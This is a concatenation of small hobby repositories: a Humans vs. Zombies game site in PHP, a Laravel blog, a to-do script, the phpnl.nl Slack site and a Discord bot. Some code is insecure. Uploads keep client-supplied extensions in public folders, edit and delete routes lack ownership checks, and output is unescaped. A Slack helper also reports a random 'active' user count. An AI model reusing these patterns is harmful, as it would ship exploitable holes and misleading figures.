<div class="admin_playerlist_edit_row_container">
<div class="admin_playerlist_edit_row_label">
Kill:
</div>
<div class="admin_playerlist_edit_row_form">
<input type="checkbox" name="kill" checked="true">
</div>
</div>
<div class="admin_playerlist_edit_row_container">
<div class="admin_playerlist_edit_row_label">
</div>
<div class="admin_playerlist_edit_row_form">
<input class="button" type="submit" value="Generate"></input> <a class="button" href="http://<?php echo DOMAIN; ?>/admin/feed/">Cancel</a>
</div>
</div>
</form>
<?php
$feedcards = $GLOBALS['Game']->GetFeedCards($GLOBALS['state']['gid']);
?>
<div class="gameplay_block_title">
View/Change Feed Cards:
</div>
<div id="feed_table_container">
<table class="feed_table">
<tr class="feed_table_row_headerfooter">
<td class="feed_table_cell feed_table_cell_id">Code</td>
<td class="feed_table_cell feed_table_cell_time">Hours</td>
<td class="feed_table_cell feed_table_cell_kill">Kill</td>
<td class="feed_table_cell feed_table_cell_expiry">Expiry</td>
<td class="feed_table_cell feed_table_cell_used">Used</td>
<td class="feed_table_cell feed_table_cell_delete">Delete</td>
</tr>
<?php if (count($feedcards) > 0): ?>
<?php foreach ($feedcards as $fc): ?>
<tr class="feed_table_row">
<td class="feed_table_cell">
<?php
echo $fc['secret'];
?>
</td>
<td class="feed_table_cell">
<?php
echo $fc['feedtime']/3600;
?>
</td>
</td>
<td class="feed_table_cell">
<?php
$kill = ($fc['kl']) ? 'yes' : 'no';
echo $kill;
?>
</td>
<td class="feed_table_cell">
<?php
$expire = ($fc['expiration']) ? date('Y-m-d H:i:s', $fc['expiration']) : 'none';
echo $expire;
?>
</td>
<td class="feed_table_cell">
<?php
$used = ($fc['used_by']) ? $fc['used_by'] : 'unused';
echo $used;
?>
</td>
<td class="feed_table_cell">
<a class="button" href="http://<?php echo DOMAIN; ?>/admin/feed/delete/<?php echo $fc['fid']; ?>" class="accent_color">Delete</a>
</td>
</tr>
<?php endforeach ?>
<?php else: ?>
<tr class="feed_table_row_noplayers">
<td colspan="5" class="feed_table_cell table_cell_center">There are no feedcards to display</td>
</tr>
<?php endif ?>
</table>
</div>
<file_sep> <div class="content_row">
<div class="content_row_label">
Account created:
</div>
<div class="content_row_data">
<?php echo $view_date_created ?>
</div>
<div class="clearfix"></div>
</div>
<?php if ($viewing_self): ?>
<div class="content_row">
<div class="content_row_label">
Email address:
</div>
<div class="content_row_data">
<?php echo $_SESSION['email'] ?>
</div>
<div class="clearfix"></div>
</div>
<?php endif ?>
<div class="content_row">
<div class="content_row_label">
Playing this/upcoming game:
</div>
<div class="content_row_data">
<?php echo $view_active ?>
</div>
<div class="clearfix"></div>
</div>
<?php if ($show_oz_pool): ?>
<div class="content_row">
<div class="content_row_label">
In OZ pool this/upcoming game:
</div>
<div class="content_row_data">
<?php echo $oz_pool_status ?>
</div>
<div class="clearfix"></div>
</div>
<?php endif; ?>
<div class="content_row">
<div class="content_row_label">
Squad:
</div>
<div class="content_row_data">
<?php echo $squad; ?>
<?php if ($viewing_self): ?>
<span class="accent_color">(<a href="http://<?php echo DOMAIN; ?>/squad" class="accent_color">edit</a>)</span>
<?php endif ?>
</div>
<div class="clearfix"></div>
</div>
<?php if ($viewing_self && ($GLOBALS['User']->IsPlayingCurrentGame($user['uid'])) && (isset($GLOBALS['state']['active']))): ?>
<div class="content_row">
<div class="content_row_label">
Secret Game ID:
</div>
<div class="content_row_data secret">
<?php echo $secret ?>
</div>
<div class="clearfix"></div>
</div>
<?php endif ?>
<!--
<div class="content_row">
<div class="content_row_label">
Current squad:
</div>
<div class="content_row_data">
<a class="accent_color" href="http://<?php echo DOMAIN; ?>/#">None</a>
</div>
<div class="clearfix"></div>
</div>
-->
<?php if ($viewing_self && ($GLOBALS['User']->IsPlayingCurrentGame($user['uid'])) && (isset($GLOBALS['state']['active']) && $game_xref['status'] == 'zombie')): ?>
<div class="content_row">
<div class="content_row_label">
Time until starve:
</div>
<div class="content_row_data">
<?php
$time = $GLOBALS['User']->GetUserFromGame($user['uid']);
$time = $time['zombie_feed_timer'];
$seconds = $time + ZOMBIE_MAX_FEED_TIMER - date("U");
$hours = floor($seconds / 3600);
$mins = floor(($seconds - ($hours*3600)) / 60);
echo $hours.":".$mins;
?>
</div>
<div class="clearfix"></div>
</div>
<?php endif ?>
<?php if ($show_feedopt): ?>
<div class="content_row">
<div class="content_row_label">
Feedshare Status:
</div>
<div class="content_row_data">
<?php echo $view_feedopt ?>
</div>
<div class="clearfix"></div>
</div>
<?php endif ?>
<div class="content_row">
<div class="content_row_label">
Lifetime tags as zombie:
</div>
<div class="content_row_data">
<?php echo $view_zombie_kills ?>
</div>
<div class="clearfix"></div>
</div>
<div class="content_row">
<div class="content_row_label">
Lifetime time-alive as human:
</div>
<div class="content_row_data">
<?php echo $view_time_alive ?>
</div>
<div class="clearfix"></div>
</div>
<?php if ($viewing_self): ?>
<div class="content_row">
<div class="content_row_label">
Change Profile Picture:
</div>
<div class="content_row_data">
<span class="accent_color">(<a href="http://<?php echo DOMAIN; ?>/changepicture" class="accent_color">edit</a>)</span>
</div>
<div class="clearfix"></div>
</div>
<?php endif; ?>
<file_sep><?
require '../../knoopvszombies.ini.php';
require '../../osundead.com/module/includes.php';
require '../../osundead.com/module/general.php';
$database = DATABASE;
$db_host = DATABASE_HOSTNAME;
$db_user = 'webengine';
$db_pwd = <PASSWORD>_PASS_FOR_WEB;
mysql_connect($db_host, $db_user, $db_pwd);
mysql_select_db($database);
$result = mysql_query("select uid FROM user WHERE email_confirmed = 0");
while ($tmp = mysql_fetch_array($result)){
$GLOBALS['User']->SendEmailConfirmation($tmp['uid']);
}
?>
done
<file_sep><div id="signup_title">
Sign up <span class="accent_color">agree to our code of conduct</span>
</div>
<?php if (isset($_GET['state'])): ?>
<div id="signup_status">
<?php
switch ($_GET['state'])
{
// this should be short circuited... but if not show an error
case 'agree':
echo 'There was an error saving your agreement. Please try again.';
break;
case 'slowdown':
echo 'Please wait a few minutes before requesting another confirmation email. Check your email and try again in about 5 minutes.';
break;
default:
echo 'An unknown error occured. Please try again.';
break;
}
?>
</div>
<?php endif ?>
<div class="signup_body_text">
OSUndead Code of Coduct
</div>
<div class="signup_body_text">
1 . By signing up for the Humans vs. Zombies game, I agree to act in accordance with all laws (local, state
and federal), and to act within the Oregon State code of conduct.
</div>
<div class="signup_body_text">
2. By signing up for the Humans vs. Zombies game, I agree to take no action which would cause myself
or others bodily harm, or result in the loss, damage, or destruction of property.
</div>
<div class="signup_body_text">
3. By signing up for the Humans vs. Zombies game, I acknowledge that ignorance of these policies is not
an excuse for noncompliance, and take responsibility for knowing the code of conduct.
</div>
<div class="signup_body_text">
4. By signing up for the Humans vs. Zombies game, I understand that if I violate any laws (local, state or
federal) or the OSU code of conduct as part of my participation in the Humans vs. Zombies game, I will
likely be removed from the game and may be reported to Public Safety.
</div>
<div class="signup_body_text">
5. By signing up for the Humans vs. Zombies game, I agree to forgo the use of an automobile for
purposes related to Humans vs. Zombies game. Use of a car will result in removal
from the game.
</div>
<div class="signup_body_text">
6. By signing up for the Humans vs. Zombies game, I agree to demonstrate respect for all players and
non-players alike. I understand that discharging a Nerf-style toy at a non-player is grounds for removal
from the game.
</div>
<div class="signup_body_text">
7. By signing up for the Humans vs. Zombies game, I agree not to display Nerf-style toys in academic
buildings or use Nerf-style toys which resemble real weapons. I understand that displaying a Nerf-style
toy in an academic building, or using a Nerf-style toy which resembles a real weapon is grounds for
removal from the game. Interpretation of “resembling real weapons” is left to the discretion of the
moderators. Complaints about realistic-looking Nerf-style toys made by a non-player arc grounds for the
toy in question to be banned. Nerf-style toys must have a visible blaze-orange tip.
</div>
<div class="signup_body_text">
8. By signing up for the Humans vs. Zombies game, I agree to leave my building in an evacuation
situation such as a fire alarm. I understand that the area I evacuate to is temporarily a safe zone for the
duration of the evacuation, and that I cannot be tagged (or tag another player) while going to or returning
from the evacuation area.
</div>
<div class="signup_body_text">
9. By signing up for the Humans vs. Zombies game, I agree to wear the provided appropriate identifying markers as a player of Humans vs. Zombies (provided armband for humans, headband for zombies). I understand that I must wear these identifying markers at all times while participating in the game, except in circumstances where a uniform, etc. is required of me, and that I may not participate in the game at these times. I understand that I may not participate in the game except when clearly identified as a player using the provided markers. I understand that participating in the game while not clearly identified, especially (but not limited to) when tagging or using/carrying a Nerf-style toy is strictly prohibited, and that violation of this rule will result in immediate removal of the game. I understand that any violation of this rule is mine and not the responsibility of others affiliated with the Humans vs. Zombies game, and agree to accept full responsibility for my actions.
</div>
<div id="signup_conduct_agree_container">
<div id="signup_conduct_agree_text">
To continue you must agree to our Code of Conduct.
</div>
<div id="signup_conduct_agree_button_container">
<span class="signup_box_button">
<a class="signup_box_button_link" href="http://<?php echo DOMAIN; ?>/signup/3/agree">I Agree</a>
</span>
</div>
<div class="clearfix"></div>
</div>
<file_sep> <div id="footer">
<div class="content_column">
<div id="footer_images_container">
<?php
require 'module/footer_images.php';
?>
</div> <!-- footer_images_container -->
<div id="footer_about">
<div id="footer_Design">
Counseling Services: 541-737-2131<br>
DPS non-emergency: 541-737-3010<br>
DPS emergency: 541-737-7000 <br>
</div>
<div id="footer_design">
Using the <a class="footer" href="https://github.com/rylinks/knoopvszombies">KnoopVsZombies</a> game engine by <a class="footer" href="http://mikeknoop.com"><NAME></a>
</div>
</div>
</div> <!-- content_column -->
</div> <!-- footer -->
| 0236fb8b0cfae25d7d274ef5008d33db757fe512 | [
"PHP"
] | 16 | PHP | Rylinks/knoopvszombies | 097a4691facdd2082906cbb7c6e7456d8e623c31 | 2f8dfeb11536f4f3f21d6dfe1c424402485b0490 |
refs/heads/master | <file_sep><?php $__env->startSection('main_content'); ?>
<?php echo $__env->make('partials/banner', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>
<div class="album text-muted">
<div class="container">
<div class="row">
<?php $__currentLoopData = $posts; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $post): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
<?php echo $__env->make('posts/index_posts', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
</div>
<a href="/all_post"><button class="btn btn-default">Read More</button></a>
</div>
</div>
<?php $__env->stopSection(); ?>
<?php echo $__env->make('partials/master', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?><file_sep><?php $__env->startSection('main_content'); ?>
<?php echo $__env->make('partials/banner', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>
<div class="album text-muted">
<div class="container">
<div class="row">
<div class="card">
<img src="/images/blog.jpg" alt="Card image cap">
<p class="card-text">This is a wider card with supporting text below as a natural lead-in to additional content. This content is a little bit longer.</p>
</div>
<div class="card">
<img src="/images/blog.jpg" alt="Card image cap">
<p class="card-text">This is a wider card with supporting text below as a natural lead-in to additional content. This content is a little bit longer.</p>
</div>
<div class="card">
<img src="/images/blog.jpg" alt="Card image cap">
<p class="card-text">This is a wider card with supporting text below as a natural lead-in to additional content. This content is a little bit longer.</p>
</div>
<div class="card">
<img src="/images/blog.jpg" alt="Card image cap">
<p class="card-text">This is a wider card with supporting text below as a natural lead-in to additional content. This content is a little bit longer.</p>
</div>
<div class="card">
<img src="/images/blog.jpg" alt="Card image cap">
<p class="card-text">This is a wider card with supporting text below as a natural lead-in to additional content. This content is a little bit longer.</p>
</div>
<div class="card">
<img src="/images/blog.jpg" alt="Card image cap">
<p class="card-text">This is a wider card with supporting text below as a natural lead-in to additional content. This content is a little bit longer.</p>
</div>
<div class="card">
<img src="/images/blog.jpg" alt="Card image cap">
<p class="card-text">This is a wider card with supporting text below as a natural lead-in to additional content. This content is a little bit longer.</p>
</div>
<div class="card">
<img src="/images/blog.jpg" alt="Card image cap">
<p class="card-text">This is a wider card with supporting text below as a natural lead-in to additional content. This content is a little bit longer.</p>
</div>
<div class="card">
<img src="/images/blog.jpg" alt="Card image cap">
<p class="card-text">This is a wider card with supporting text below as a natural lead-in to additional content. This content is a little bit longer.</p>
</div>
</div>
</div>
</div>
<?php $__env->stopSection(); ?>
<?php echo $__env->make('partials/master', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?><file_sep><?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Comment;
use App\Post;
use Auth;
use App\User;
class CommentsController extends Controller
{
public function store(Post $post) //Route - Model Binding
{
$user = Auth::user();
Comment::create([
'post_id' => $post->id,
'user_id' => $user->id,
'body' => request('body')
]);
return back();
}
}
<file_sep>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<link rel="icon" href="../../favicon.ico">
<title>Under The Sun</title>
<!-- Bootstrap core CSS -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<!-- Custom styles for this template -->
<link href="/css/blog.css" rel="stylesheet">
</head>
<body>
<?php echo $__env->make('partials.nav', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>
<?php echo $__env->yieldContent('main_content'); ?>
<?php echo $__env->make('partials/footer', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>
<!-- Bootstrap core JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="https://code.jquery.com/jquery-3.1.1.slim.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script>window.jQuery || document.write('<script src="../../assets/js/vendor/jquery.min.js"><\/script>')</script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/tether/1.4.0/js/tether.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="../../assets/js/vendor/holder.min.js"></script>
<script>
$(function () {
Holder.addTheme("thumb", { background: "#55595c", foreground: "#eceeef", text: "Thumbnail" });
});
</script>
<script src="../../dist/js/bootstrap.min.js"></script>
<!-- IE10 viewport hack for Surface/desktop Windows 8 bug -->
<script src="../../assets/js/ie10-viewport-bug-workaround.js"></script>
</body>
</html>
<file_sep>
<div class="card">
<img src="/images/<?php echo e($post->banner); ?>" alt="post banner" class="img-size-index img-responsive">
<div class="card-text"><a href="/posts/<?php echo e($post->id); ?>" class="text-size"><?php echo e($post->title); ?></a></div>
</div>
<file_sep><?php $__env->startSection('main_content'); ?>
<div class="container">
<div class="col-sm-8 blog-main">
<h1>Edit Post</h1>
<hr>
<form enctype="multipart/form-data" method="POST" action="/post/<?php echo e($post->id); ?>/update">
<?php echo e(csrf_field()); ?>
<div class="form-group">
<img src="/images/<?php echo e($post->banner); ?>">
<label>Update Banner</label>
<input type="file" name="post_banner"></input>
</div>
<label for="body">Body</label>
<div class="form-group">
<label for="title" >Title</label>
<input type="text" class="form-control" id="title" name="title" value="<?php echo e($post->title); ?>">
</div>
<div class="form-group">
<textarea class="form-control" id="body" name="body"><?php echo e($post->body); ?></textarea>
</div>
<div class="form-group">
<button type="submit" class="btn btn-default">Save Update</button>
</div>
</form>
</div>
</div>
<?php $__env->stopSection(); ?>
<?php echo $__env->make('partials/master', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?><file_sep><?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Post;
use Auth;
use Image;
use File;
class UsersController extends Controller
{
public function update_avatar(Request $request) {
//handle the user upload of avatar
if ($request->hasFile('avatar')) {
$avatar = $request->file('avatar');
$filename = time().'.'.$avatar->getClientOriginalExtension();
if (Auth::user()->avatar !== 'avatar.png') {
$file = public_path('/avatar/'.Auth::user()->avatar);
if (File::exists($file)) {
unlink($file);
}
}
Image::make($avatar)->resize(300,300)->save( public_path('/avatar/'.$filename));
$user = Auth::user();
$user->avatar = $filename;
$user->save();
}
return back();
}
}
<file_sep><?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Post;
use Auth;
use Session;
use DB;
use Carbon\Carbon;
use Image;
use File;
class PostsController extends Controller
{
public function index()
{
$posts = Post::latest()->take(6)->get();
return view('/posts/index', compact('posts'));
}
public function create()
{
$post = DB::table('posts')->get();
session::flash('fail','You must log in to your account!');
return view('posts/create_post');
}
public function store(Request $request)
{
$post = new Post;
/*$post->banner=request('banner');*/
$post->user_id = Auth::user()->id;
$post->title=request('title');
$post->body=request('body');
$post->save();
session::flash('success','You have successfully created a new post!');
return back();
}
//this function was to show all posts on /all_posts
public function show_all()
{
$posts = Post::all();
return view('posts/show_all_posts', compact('posts'));
}
public function show_post(Post $post)
{
return view('posts.show_post', compact('post'));
}
public function edit($id)
{
$post= Post::find($id);
return view('posts/edit_post', compact('post'));
}
public function update(Request $request, $id)
{
$post= Post::find($id);
if ($request->hasFile('post_banner')) {
$banner = $request->file('post_banner');
$filename = time().'.'.$banner->getClientOriginalExtension();
if ($post->banner !== 'underthesun.png') {
$file = public_path('/images/'.$post->banner);
if (File::exists($file)) {
unlink($file);
}
}
Image::make($banner)->save( public_path('/images/'.$filename));
}
//$user = Auth::user();
$post->banner = $filename;
$post->title=$request->title;
$post->body=$request->body;
$post->save();
return back();
}
public function destroy($post_id)
{
//$post= Post::find($id);
$post =Post::where('id',$post_id)->first();
$post->delete();
return back();
}
// public function update_banner(Request $request) {
// if ($request->hasFile('post_banner')) {
// $banner = $request->file('post_banner');
// $filename = time().'.'.$banner->getClientOriginalExtension();
// if ($post->banner !== 'underthesun.png') {
// $file = public_path('/images/'.$post->banner);
// if (File::exists($file)) {
// unlink($file);
// }
// }
// Image::make($banner)->save( public_path('/images/'.$filename));
// //$user = Auth::user();
// $post->banner = $filename;
// $post->save();
// }
// return back();
// }
}
<file_sep><?php $__env->startSection('main_content'); ?>
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2">
<div class="panel panel-default">
<div class="panel-heading">Profile</div>
<div class="panel-body text-center">
<ul>
<li><img src="/avatar/<?php echo e(Auth::user()->avatar); ?>">
<form enctype="multipart/form-data" method="POST" action="/home">
<?php echo e(csrf_field()); ?>
<label>Update Profile Image</label>
<input type="file" name="avatar"></input>
<input type="submit" class=
"pull-right btn btn-sm btn-default" name="submit"></input>
</form>
</li>
<li><h3>Name:</h3> <?php echo e(Auth::user()->name); ?></li>
<li><h3>Email:</h3> <?php echo e(Auth::user()->email); ?></li>
</ul>
</div>
</div>
<div class="panel panel-default">
<div class="panel-heading">Published Blogs</div>
<div class="panel-body">
<table class="table">
<tr>
<th>Blog title</th>
<th>Time created</th>
<th> </th>
<th> </th>
</tr>
<?php $__currentLoopData = $posts; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $post): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
<tr>
<td>
<a href="/posts/<?php echo e($post->id); ?>"><?php echo e($post->title); ?></a>
</td>
<td>
<?php echo e($post->created_at); ?>
</td>
<td>
<a href="/posts/<?php echo e($post->id); ?>/edit"><button type="submit" class="btn btn-warning">EDIT</button></a>
</td>
<td><a href="<?php echo e(route('post/delete',['post_id'=>$post->id])); ?>"><button type="submit" class="btn btn-danger">DELETE</button></a>
</td>
</tr>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
</table>
</div>
</div>
</div>
</div>
</div>
<?php $__env->stopSection(); ?>
<?php echo $__env->make('partials/master', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?><file_sep><?php $__env->startSection('main_content'); ?>
<?php if(Auth::check()): ?> {
<div class="container">
<form class="form-horizontal" method="POST" action="/post">
<?php echo e(csrf_field()); ?>
<fieldset>
<legend>Create New Post</legend>
<?php if(Session::has('success')): ?>
<div class="alert alert-dismissible alert-warning">
<?php echo e(Session::get('success')); ?>
</div>
<?php endif; ?>
<div class="form-group">
<!-- <label for="banner" class="col-lg-2 control-label">Upload Banner</label>
<div class="col-lg-10">
<input type="file" name="banner" id="banner">
</div> -->
</div>
<div class="form-group">
<label for="title" class="col-lg-2 control-label">Post Title</label>
<div class="col-lg-10">
<input type="text" class="form-control" id="title" name="title">
</div>
</div>
<div class="form-group">
<label for="body" class="col-lg-2 control-label">Post Content</label>
<div class="col-lg-10">
<textarea class="form-control" id="body" name="body"></textarea>
</div>
</div>
<div class="form-group">
<div class="col-lg-10 col-lg-offset-2">
<button type="submit" class="btn btn-default">Submit</button>
<button type="reset" class="btn btn-default">Cancel</button>
</div>
</div>
</fieldset>
</form>
</div>
} <?php elseif(Session::has('fail')): ?>
<?php echo e(Session::get('fail')); ?>
<?php echo $__env->make('auth/login', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>
<?php endif; ?>
<?php $__env->stopSection(); ?>
<?php echo $__env->make('partials/master', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?> | 8619536a892cfb3897697004c5463765cd023af8 | [
"PHP"
] | 10 | PHP | king-ting/blog_project | d8395755c2b6c419dbceb6740d91f825673b650e | 3f70c257a0f794f808726a600deb0c04e0786521 |
refs/heads/main | <repo_name>H4ltor/TP_Angular<file_sep>/script.js
function add() {
var task = document.getElementById("taskName").value;
document.getElementById("list").innerHTML +=
'<li>'+task+'<a href="#" onclick="del(this)"> Supprimer</a></li>';
}
function del(a){
a.parentNode.parentNode.removeChild(a.parentNode);
}
<file_sep>/README.md
# TP_Angular
Bonjour Monsieur voici le peu de travail rendu, sachez que je ne savais pas que l'on pouvait utiliser des framework html, donc l'essentiel du temps et partie dans une révision de l'html css.
Pour le javascript il était fortement rouillé, donc je me suis servie d'internet pour le faire.
| 7457fb9863e7fc087a94611a6b4f604b36ab36d9 | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | H4ltor/TP_Angular | 60f0e8396be9a463b24b4f113d9ee52224ea8b4e | 7697899c3b1949267c9a8252b400915b2f46475f |
refs/heads/master | <repo_name>phpnl/phpnl<file_sep>/src/phpnl/service/Slack.php
<?php
namespace phpnl\service;
class Slack
{
protected $team;
protected $token;
protected $info;
function __construct($team, $token)
{
$this->team = $team;
$this->token = $token;
$this->refresh();
}
function refresh()
{
$url = 'https://' . $this->team . '.slack.com/api/team.info?token=' . $this->token;
$info = file_get_contents($url);
$this->info = json_decode($info, true);
}
function getInfo()
{
return $this->info;
}
function getImageSrc($width = 132)
{
if (! isset($this->info['team']['icon']['image_'.$width])) {
return null;
}
return $this->info['team']['icon']['image_'.$width];
}
function getTeamName()
{
return $this->info['team']['name'];
}
function getUserCount()
{
return array('total' => '1500+', 'active' => random_int(100, 1000));
}
function invite($email)
{
$url = 'https://slack.com/api/users.admin.invite';
$data = array ('token' => $this->token, 'email' => $email);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$result = curl_exec($ch);
$result = json_decode($result, true);
return $result;
}
}
<file_sep>/templates/index.html
{% extends "layout.html" %}
{% block content %}
<div class="row">
<div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
<div class="post-preview">
<h2 class="post-title">
Over ons
</h2>
<p>
PHPNL is een slack team opgezet door <a href="https://twitter.com/jelrikvh"><NAME></a>
en <a href="https://twitter.com/jaytaph"><NAME></a> tijdens de PHPBenelux 2015
conferentie om snel een bestandje te copy/pasten naar de ander toe. Gezien we allebei slack
hadden draaien, maar niet bij elkaar in een slack-team zaten, hebben we maar een eigen
team opgezet waar ook alle andere developers welkom zijn om zo een (volgende) online
community te vormen. Het resultaat: bijna 100 team-leden binnen een krappe twee weken!
</p>
</div>
<hr>
<div class="post-preview">
<h2 class="post-title">
Waarom slack?
</h2>
<p>
Slack is een prachtige communicatietool die het beste van andere tools zoals IRC & Skype,
combineert. Waar Skype niet echt in staat is om om te gaan met "grote" groepen, en IRC niet
altijd even makkelijk is om mee te werken, is slack in staat om dit allemaal wel te doen.
</p>
<p>
Maar slack is meer dan gewoon een communicatietool: het biedt ook de mogelijkheid tot
vergaande automatisering: zo draait menig team monitoring en logging via slack, en is het
zelfs mogelijk om direct applicatie deploys vanuit slack te starten!
</p>
</div>
<hr>
<div class="post-preview">
<h2 class="post-title">
Meld je aan!
</h2>
<p>
<a href="https://join.slack.com/t/phpnl/shared_invite/zt-6l6e24rq-q<KEY>2<KEY>Rg"
title="Klik hier voor toegang tot de PHPNL Slack">Klik hier om jezelf toe te voegen aan
de PHPNL Slack!</a>
</p>
</div>
</div>
</div>
{% endblock %}
<file_sep>/src/controllers.php
<?php
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\RedirectResponse;
use Symfony\Component\HttpKernel\Exception\NotFoundHttpException;
//Request::setTrustedProxies(array('127.0.0.1'));
$app->get('/', function () use ($app) {
return $app['twig']->render('index.html', array());
})->bind('homepage');
$app->get('/slack', function () use ($app) {
$slack = $app['slack'];
$info = $slack->getInfo();
$avatars = array();
foreach ($info['users'] as $user) {
if ($user['is_bot'] == true) continue;
if ($user['id'] == 'USLACKBOT') continue;
$avatars[$user['name']] = $user['profile']['image_24'];
}
return $app['twig']->render('slack.html', array(
'image' => $slack->getImageSrc(132),
'team' => $slack->getTeamName(),
'users' => $slack->getUserCount(),
'avatars' => $avatars,
));
})->bind('slack');
$app->get('/slack_invite', function (Request $request) use ($app) {
$slack = $app['slack'];
if (! $request->request->has('email')) {
return new Response("No email address", 400);
}
$result = $slack->invite($request->request->get('email'));
if ($result['ok'] != "true") {
return new Response($result['error'], 400);
} else {
return new Response("ok", 200);
}
})->bind('slack_invite')->method('POST');
$app->error(function (\Exception $e, $code) use ($app) {
if ($app['debug']) {
return;
}
// 404.html, or 40x.html, or 4xx.html, or error.html
$templates = array(
'errors/'.$code.'.html',
'errors/'.substr($code, 0, 2).'x.html',
'errors/'.substr($code, 0, 1).'xx.html',
'errors/default.html',
);
return new Response($app['twig']->resolveTemplate($templates)->render(array('code' => $code)), $code);
});
<file_sep>/README.md
# phpnl
phpnl.nl website, best site!
# Using gulp.
You can install gulp with the command `npm install`. So all the required modules wil be installed. Further if you want to use gulp.
Navigate to the root direcotry of the website. And run `gulp <task name>`. And the selected task will run.
The list of avaible commands can you find when u press gulp help.
# steps to set it up locally
1. git clone to a directory
2. move into your directory
3. php composer.phar install
4. copy `./config/slack.php-dist` to `./config/slack.php` and change the `slack.team` and `slack.token` in the slack.php
to generate a token, go to this URL: <https://api.slack.com/web> (bottom of the page)
5. set write permissions to `./var/log` and `./var/cache` and point your browser to your local URL.
_note: all assets are currently pointing to /, so you need to configure the site as a vhost ;)_
| b26a72a9e93364ffa7ea9aa24d2ecb876bb865db | [
"Markdown",
"HTML",
"PHP"
] | 4 | PHP | phpnl/phpnl | da4b3a43cd2c0a87424de4bf043aa7537fd2d6d1 | 5b3fa4d66dd2fe5027c62ab53493f278b1da544b |
refs/heads/main | <file_sep>const discord = require("discord.js");
module.exports = {
name: "unmuteall",
aliases: ['unmute all',],
description: "Mutes everyone mic",
run: async(client, message, args) => {
var a = message.id;
let b;
if (!message.member.hasPermission('MUTE_MEMBERS')) return message.reply("You do not have the permission to do that!");
if (!message.member.voice.channel) return message.reply("You are not in a voice channel!");
let channel = message.member.voice.channel;
for (let memberi of channel.members) {
await memberi[1].voice.setMute(false);
}
message.channel.send("Unmuted! Hope you won!!").then((msg) => {
b = msg.id;
});
await message.channel.messages.fetch(a).then(msg => msg.delete({ timeout: 1000 }));
await message.channel.messages.fetch(b).then(msg => msg.delete({ timeout: 3000 }));
}
}<file_sep>const Discord = require("discord.js");
const fs = require("fs");
const client = new Discord.Client();
const config = require("./konfig.json");
client.config = config;
const canvas = require("discord-canvas");
const { Prefix, Token, Color, Support, Owner, WelcomeImage, LeaveImage } = require("./config.js");
const db = require("quick.db")
client.commands = new Discord.Collection();
client.aliases = new Discord.Collection();
client.db = require("quick.db");
//--------WELCOME---------
const { createCanvas, loadImage, registerFont } = require("canvas");
client.on("ready", async () => {
console.log(`Lavabot Online to Help!`);
client.user.setActivity(`+help | LavaBot`, { type: "PLAYING" })
.catch(error => console.log(error));
});
client.on("message", async message => {
if (message.channel.type === "dm") return;
if (message.author.bot) return;
if (!message.guild) return;
if (!message.member)
message.member = await message.guild.fetchMember(message);
if (message.content.match(new RegExp(`^<@!?${client.user.id}>`))) {
return message.channel.send(`Bot Prefix : ${Prefix}`);
}
});
require("./index.js")
require("./giveaway.js")
require("./super.js")
let modules = ["fun", "info", "Images", "moderation", "AutoMod", "Animals", "VoiceMod", "owner", "Music", "Giveaway", "Manager", "Configuration"];
modules.forEach(function(module) {
fs.readdir(`./commands/${module}`, function(err, files) {
if (err)
return new Error(
"Missing Folder Of Commands! Example : Commands/<Folder>/<Command>.js"
);
files.forEach(function(file) {
if (!file.endsWith(".js")) return;
let command = require(`./commands/${module}/${file}`);
console.log(`${command.name} Command Has Been Loaded - ✅`);
if (command.name) client.commands.set(command.name, command);
if (command.aliases) {
command.aliases.forEach(alias =>
client.aliases.set(alias, command.name)
);
}
if (command.aliases.length === 0) command.aliases = null;
});
});
});
client.on("message", async message => {
if (message.channel.type === "dm") return;
if (message.author.bot) return;
if (!message.guild) return;
if (!message.member)
message.member = await message.guild.fetchMember(message);
if (!message.content.startsWith(Prefix)) return;
const args = message.content
.slice(Prefix.length)
.trim()
.split(" ");
const cmd = args.shift().toLowerCase();
if (cmd.length === 0) return;
let command =
client.commands.get(cmd) || client.commands.get(client.aliases.get(cmd));
if (!command) return;
if (command) {
if (!message.guild.me.hasPermission("SEND_MESSAGES"))
return message.channel.send(
"I Don't Have Enough Permission To Use This Or Any Of My Commands | Require : SEND_MESSAGES"
);
command.run(client, message, args);
}
console.log(
`User : ${message.author.tag} (${message.author.id}) Server : ${message.guild.name} (${message.guild.id}) Command : ${command.name}`
);
});
